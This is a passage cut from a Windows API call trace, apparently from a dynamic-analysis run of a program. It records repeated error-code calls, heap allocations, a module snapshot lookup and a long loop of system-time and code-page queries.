SetLastError (dwErrCode=0x0) [0053.560] GetLastError () returned 0x0 [0053.560] SetLastError (dwErrCode=0x0) [0053.560] GetLastError () returned 0x0 [0053.560] SetLastError (dwErrCode=0x0) [0053.560] GetLastError () returned 0x0 [0053.560] SetLastError (dwErrCode=0x0) [0053.560] GetLastError () returned 0x0 [0053.560] SetLastError (dwErrCode=0x0) [0053.560] GetLastError () returned 0x0 [0053.560] SetLastError (dwErrCode=0x0) [0053.560] GetLastError () returned 0x0 [0053.560] SetLastError (dwErrCode=0x0) [0053.560] GetLastError () returned 0x0 [0053.560] SetLastError (dwErrCode=0x0) [0053.560] GetLastError () returned 0x0 [0053.560] SetLastError (dwErrCode=0x0) [0053.560] GetLastError () returned 0x0 [0053.560] SetLastError (dwErrCode=0x0) [0053.560] GetLastError () returned 0x0 [0053.560] SetLastError (dwErrCode=0x0) [0053.561] GetLastError () returned 0x0 [0053.561] SetLastError (dwErrCode=0x0) [0053.561] GetLastError () returned 0x0 [0053.561] SetLastError (dwErrCode=0x0) [0053.561] GetLastError () returned 0x0 [0053.561] SetLastError (dwErrCode=0x0) [0053.561] GetLastError () returned 0x0 [0053.561] SetLastError (dwErrCode=0x0) [0053.561] GetLastError () returned 0x0 [0053.561] SetLastError (dwErrCode=0x0) [0053.561] GetLastError () returned 0x0 [0053.561] SetLastError (dwErrCode=0x0) [0053.561] GetLastError () returned 0x0 [0053.562] SetLastError (dwErrCode=0x0) [0053.562] GetLastError () returned 0x0 [0053.562] SetLastError (dwErrCode=0x0) [0053.562] GetLastError () returned 0x0 [0053.562] SetLastError (dwErrCode=0x0) [0053.562] GetLastError () returned 0x0 [0053.562] SetLastError (dwErrCode=0x0) [0053.562] GetLastError () returned 0x0 [0053.562] SetLastError (dwErrCode=0x0) [0053.562] GetLastError () returned 0x0 [0053.562] SetLastError (dwErrCode=0x0) [0053.562] GetLastError () returned 0x0 [0053.562] SetLastError (dwErrCode=0x0) [0053.562] GetLastError () returned 0x0 [0053.562] SetLastError (dwErrCode=0x0) [0053.562] GetLastError () returned 0x0 [0053.562] SetLastError (dwErrCode=0x0) [0053.562] GetLastError () returned 0x0 [0053.562] SetLastError (dwErrCode=0x0) [0053.562] GetLastError () returned 0x0 [0053.562] SetLastError (dwErrCode=0x0) [0053.562] GetLastError () returned 0x0 [0053.562] SetLastError (dwErrCode=0x0) [0053.562] GetLastError () returned 0x0 [0053.562] SetLastError (dwErrCode=0x0) [0053.562] GetLastError () returned 0x0 [0053.563] SetLastError (dwErrCode=0x0) [0053.563] GetLastError () returned 0x0 [0053.563] SetLastError (dwErrCode=0x0) [0053.563] GetLastError () returned 0x0 [0053.563] SetLastError (dwErrCode=0x0) [0053.563] GetLastError () returned 0x0 [0053.563] SetLastError (dwErrCode=0x0) [0053.563] GetLastError () returned 0x0 [0053.563] SetLastError (dwErrCode=0x0) [0053.563] GetLastError () returned 0x0 [0053.563] SetLastError (dwErrCode=0x0) [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x98) returned 0x281a00 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1f) returned 0x281aa0 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x36) returned 0x281ac8 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x37) returned 0x281b08 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x3c) returned 0x281b48 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x31) returned 0x281b90 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x17) returned 0x281bd0 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x24) returned 0x281bf0 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x14) returned 0x281c20 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xd) returned 0x281c40 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x25) returned 0x281c58 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x39) returned 0x281c88 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x18) returned 0x281cd0 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x17) returned 0x281cf0 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xe) returned 0x281d10 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x69) returned 0x281d28 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x3e) returned 0x281da0 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1b) returned 0x281de8 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1d) returned 0x281e10 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x48) returned 0x281e38 [0053.563] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x12) returned 0x281e88 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x18) returned 0x281ea8 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1b) returned 0x281ec8 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x24) returned 0x281ef0 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x29) returned 0x281f20 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1e) returned 0x281f58 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x41) returned 0x281f80 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x17) returned 0x281fd0 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0xf) returned 0x281ff0 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x16) returned 0x282008 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2a) returned 0x282028 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x29) returned 0x282060 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x15) returned 0x282098 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x1e) returned 0x2820b8 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x2a) returned 0x2820e0 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x12) returned 0x282118 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x18) returned 0x282138 [0053.564] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x46) returned 0x282158 [0053.564] HeapFree (in: hHeap=0x280000, dwFlags=0x0, lpMem=0x2811f8 | out: hHeap=0x280000) returned 1 [0053.565] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x800) returned 0x2821a8 [0053.565] RtlAllocateHeap (HeapHandle=0x280000, Flags=0x8, Size=0x80) returned 0x2811f8 [0053.565] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x404e59) returned 0x0 [0053.566] RtlSizeHeap (HeapHandle=0x280000, Flags=0x0, MemoryPointer=0x2811f8) returned 0x80 [0053.566] GetLastError () returned 0x0 [0053.566] SetLastError (dwErrCode=0x0) [0053.566] GetLastError () returned 0x0 [0053.566] SetLastError (dwErrCode=0x0) [0053.566] GetLastError () returned 0x0 [0053.566] SetLastError (dwErrCode=0x0) [0053.566] GetLastError () returned 0x0 [0053.566] SetLastError (dwErrCode=0x0) [0053.566] GetLastError () returned 0x0 [0053.566] SetLastError (dwErrCode=0x0) [0053.566] GetLastError () returned 0x0 [0053.566] SetLastError (dwErrCode=0x0) [0053.566] GetLastError () returned 0x0 [0053.566] SetLastError (dwErrCode=0x0) [0053.566] GetLastError () returned 0x0 [0053.566] SetLastError (dwErrCode=0x0) [0053.566] GetLastError () returned 0x0 [0053.567] SetLastError (dwErrCode=0x0) [0053.567] GetLastError () returned 0x0 [0053.567] SetLastError (dwErrCode=0x0) [0053.567] GetLastError () returned 0x0 [0053.567] SetLastError (dwErrCode=0x0) [0053.567] GetLastError () returned 0x0 [0053.567] SetLastError (dwErrCode=0x0) [0053.567] GetLastError () returned 0x0 [0053.567] SetLastError (dwErrCode=0x0) [0053.567] GetLastError () returned 0x0 [0053.567] SetLastError (dwErrCode=0x0) [0053.567] GetLastError () returned 0x0 [0053.567] SetLastError (dwErrCode=0x0) [0053.567] GetLastError () returned 0x0 [0053.567] SetLastError (dwErrCode=0x0) [0053.567] GetLastError () returned 0x0 [0053.567] SetLastError (dwErrCode=0x0) [0053.567] GetLastError () returned 0x0 [0053.567] SetLastError (dwErrCode=0x0) [0053.567] GetLastError () returned 0x0 [0053.567] SetLastError (dwErrCode=0x0) [0053.567] GetLastError () returned 0x0 [0053.567] SetLastError (dwErrCode=0x0) [0053.567] GetLastError () returned 0x0 [0053.567] SetLastError (dwErrCode=0x0) [0053.568] GetLastError () returned 0x0 [0053.568] SetLastError (dwErrCode=0x0) [0053.568] GetLastError () returned 0x0 [0053.568] SetLastError (dwErrCode=0x0) [0053.568] GetLastError () returned 0x0 [0053.568] SetLastError (dwErrCode=0x0) [0053.568] GetLastError () returned 0x0 [0053.568] SetLastError (dwErrCode=0x0) [0053.568] GetLastError () returned 0x0 [0053.568] SetLastError (dwErrCode=0x0) [0053.568] GetLastError () returned 0x0 [0053.568] SetLastError (dwErrCode=0x0) [0053.568] GetLastError () returned 0x0 [0053.568] SetLastError (dwErrCode=0x0) [0053.568] GetLastError () returned 0x0 [0053.568] SetLastError (dwErrCode=0x0) [0053.568] GetLastError () returned 0x0 [0053.568] SetLastError (dwErrCode=0x0) [0053.568] GetLastError () returned 0x0 [0053.568] SetLastError (dwErrCode=0x0) [0053.568] GetLastError () returned 0x0 [0053.568] SetLastError (dwErrCode=0x0) [0053.568] GetLastError () returned 0x0 [0053.568] SetLastError (dwErrCode=0x0) [0053.568] GetLastError () returned 0x0 [0053.569] SetLastError (dwErrCode=0x0) [0053.569] GetLastError () returned 0x0 [0053.569] SetLastError (dwErrCode=0x0) [0053.569] GetLastError () returned 0x0 [0053.569] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0053.569] GetProcAddress (hModule=0x76c20000, lpProcName="CreateToolhelp32Snapshot") returned 0x76c5735f [0053.569] GetProcAddress (hModule=0x76c20000, lpProcName="Module32FirstW") returned 0x76c579f9 [0053.569] CreateToolhelp32Snapshot (dwFlags=0x8, th32ProcessID=0x0) returned 0x78 [0053.571] Module32FirstW (hSnapshot=0x78, lpme=0x18fac8) returned 0 [0053.571] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18fa24) returned 0 [0053.571] GetTickCount () returned 0x1146e5d [0053.571] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.571] GetACP () returned 0x4e4 [0053.571] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.571] GetACP () returned 0x4e4 [0053.571] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.571] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.572] GetACP () returned 0x4e4 [0053.572] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.572] GetACP () returned 0x4e4 [0053.572] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.572] GetACP () returned 0x4e4 [0053.572] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.572] GetACP () returned 0x4e4 [0053.572] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.572] GetACP () returned 0x4e4 [0053.572] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.572] GetACP () returned 0x4e4 [0053.572] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.572] GetACP () returned 0x4e4 [0053.572] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.572] GetACP () returned 0x4e4 [0053.572] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.572] GetACP () returned 0x4e4 [0053.572] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.572] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.573] GetACP () returned 0x4e4 [0053.573] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.573] GetACP () returned 0x4e4 [0053.573] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.573] GetACP () returned 0x4e4 [0053.573] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.573] GetACP () returned 0x4e4 [0053.573] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.573] GetACP () returned 0x4e4 [0053.573] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.573] GetACP () returned 0x4e4 [0053.573] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.573] GetACP () returned 0x4e4 [0053.573] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.573] GetACP () returned 0x4e4 [0053.573] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.573] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.573] GetACP () returned 0x4e4 [0053.573] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.574] GetACP () returned 0x4e4 [0053.574] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.574] GetACP () returned 0x4e4 [0053.574] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.574] GetACP () returned 0x4e4 [0053.574] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.574] GetACP () returned 0x4e4 [0053.574] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.574] GetACP () returned 0x4e4 [0053.574] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.574] GetACP () returned 0x4e4 [0053.574] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.574] GetACP () returned 0x4e4 [0053.574] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.574] GetACP () returned 0x4e4 [0053.574] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.574] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.574] GetACP () returned 0x4e4 [0053.574] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.575] GetACP () returned 0x4e4 [0053.575] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.575] GetACP () returned 0x4e4 [0053.575] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.575] GetACP () returned 0x4e4 [0053.575] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.575] GetACP () returned 0x4e4 [0053.575] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.575] GetACP () returned 0x4e4 [0053.575] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.575] GetACP () returned 0x4e4 [0053.575] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.575] GetACP () returned 0x4e4 [0053.575] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.575] GetACP () returned 0x4e4 [0053.575] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.575] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.575] GetACP () returned 0x4e4 [0053.575] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.576] GetACP () returned 0x4e4 [0053.576] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.576] GetACP () returned 0x4e4 [0053.576] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.576] GetACP () returned 0x4e4 [0053.576] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.576] GetACP () returned 0x4e4 [0053.576] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.576] GetACP () returned 0x4e4 [0053.576] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.576] GetACP () returned 0x4e4 [0053.576] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.576] GetACP () returned 0x4e4 [0053.576] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.576] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.577] GetACP () returned 0x4e4 [0053.577] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.577] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0053.577] GetACP () returned 0x4e4 [0053.577] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0053.577] GetCPInfo (in: CodePage=0x0, 